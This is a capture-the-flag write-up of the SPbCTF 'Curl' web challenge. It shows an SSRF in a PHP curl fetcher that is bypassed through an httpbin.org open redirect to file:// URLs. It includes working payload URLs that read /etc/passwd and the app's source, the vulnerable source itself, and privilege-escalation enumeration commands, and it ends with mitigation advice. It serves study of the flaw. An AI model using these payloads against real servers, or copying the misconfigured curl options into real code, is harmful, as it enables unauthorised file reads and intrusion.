Curl
Curl
Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-15 | Status: Solved Techniques: ssrf_via_redirect, protocol_bypass_via_open_redirect, curl_misconfiguration_exploit, local_file_read
Summary
Web application at https://advweb2.spb.ctf.su/ that accepts a url GET parameter and fetches the given URL using PHP curl. Returns the message "USE {GET: url} to get headers of url" when accessed without parameters.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
spbctf| ID:20260315_spbctf_curl - Tags: ssrf, file_read, php, apache, curl, redirect_bypass, protocol_bypass, open_redirect, curlopt_followlocation, curlproto_all
- Indicators: CURLOPT_FOLLOWLOCATION enabled, CURLOPT_PROTOCOLS = CURLPROTO_ALL, CURLOPT_REDIR_PROTOCOLS = CURLPROTO_ALL, HTTP-only URL validation with preg_match, curl_exec with user-controlled URL
- Source:
20260315_spbctf_curl.md
Foothold
Vulnerability / Misconfiguration
- ssrf_via_redirect
- protocol_bypass_via_open_redirect
- curl_misconfiguration_exploit
- local_file_read
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- ssrf_via_redirect
- protocol_bypass_via_open_redirect
- curl_misconfiguration_exploit
- local_file_read
- Tags: ssrf, file_read, php, apache, curl, redirect_bypass, protocol_bypass, open_redirect, curlopt_followlocation, curlproto_all
Original Writeup
<details><summary>Click to expand original content</summary>Description
Web application at https://advweb2.spb.ctf.su/ that accepts a url GET parameter and fetches the given URL using PHP curl. Returns the message "USE {GET: url} to get headers of url" when accessed without parameters.
Analysis
Initial Reconnaissance
- Main page hint: "USE {GET: url} to get headers of url"
- Response headers:
Server: nginx/1.18.0 (Ubuntu)(reverse proxy),Content-Type: text/text;charset=UTF-8 - Testing
?url=http://example.com— successfully fetched full body (not just headers as described)
SSRF Discovery
?url=http://127.0.0.1/— worked, returned the app itself. Revealed internalServer: Apache/2.4.18 (Ubuntu)?url=file:///etc/passwd— blocked with "ONLY HTTP(s) REQUESTS!" (protocol validation)?url=gopher://...and?url=dict://...— also blocked- Error messages showed PHP's
string(60)format fromvar_dump(), confirming PHP + curl_exec ?url=http://127.0.0.1/server-status— Apache server-status accessible, revealed internal IP10.111.3.22
Vulnerability Analysis
The application validates URL scheme with preg_match("#^(https?)://#is", ...) but has a critical misconfiguration:
CURLOPT_FOLLOWLOCATION => true— follows redirectsCURLOPT_PROTOCOLS => CURLPROTO_ALL— all protocols allowedCURLOPT_REDIR_PROTOCOLS => CURLPROTO_ALL— all protocols allowed after redirect
This means while the initial URL must be HTTP/HTTPS, curl will follow redirects to ANY protocol including file://.
Solution
Step 1: Protocol Check Bypass via Open Redirect
Used httpbin.org's open redirect endpoint to bypass the protocol check:
https://advweb2.spb.ctf.su/?url=http://httpbin.org/redirect-to?url=file:///etc/passwd
This worked! curl followed the HTTP 302 redirect to file:///etc/passwd and returned the file contents.
Step 2: Source Code Leak & Flag
Read the PHP source code:
https://advweb2.spb.ctf.su/?url=http://httpbin.org/redirect-to?url=file:///var/www/html/index.php
Full PHP Source Code Retrieved:
php read-only • copy allowed<?php ini_set("display_errors", true); error_reporting(E_ALL); $flag = "REDACTED"; header("Content-Type: text/text"); if (!isset($_GET['url'])) { exit("USE {GET: url} to get headers of url"); } if (!preg_match("#^(https?)://#is", $_GET['url'])) exit("ONLY HTTP(s) REQUESTS!"); $ch = curl_init($_GET['url']); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_PROTOCOLS => CURLPROTO_ALL, CURLOPT_REDIR_PROTOCOLS => CURLPROTO_ALL ]); $result = curl_exec($ch); if (!$result) { var_dump(curl_error($ch)); exit(); } print(explode(...));
The flag was hardcoded in the source: $flag = "REDACTED";
Mitigation
To fix this vulnerability:
- Set
CURLOPT_REDIR_PROTOCOLSto only allow HTTP/HTTPS:CURLOPT_REDIR_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS - Or disable redirects entirely:
CURLOPT_FOLLOWLOCATION => false - Validate the final URL after all redirects, not just the initial one
signed by XESXOR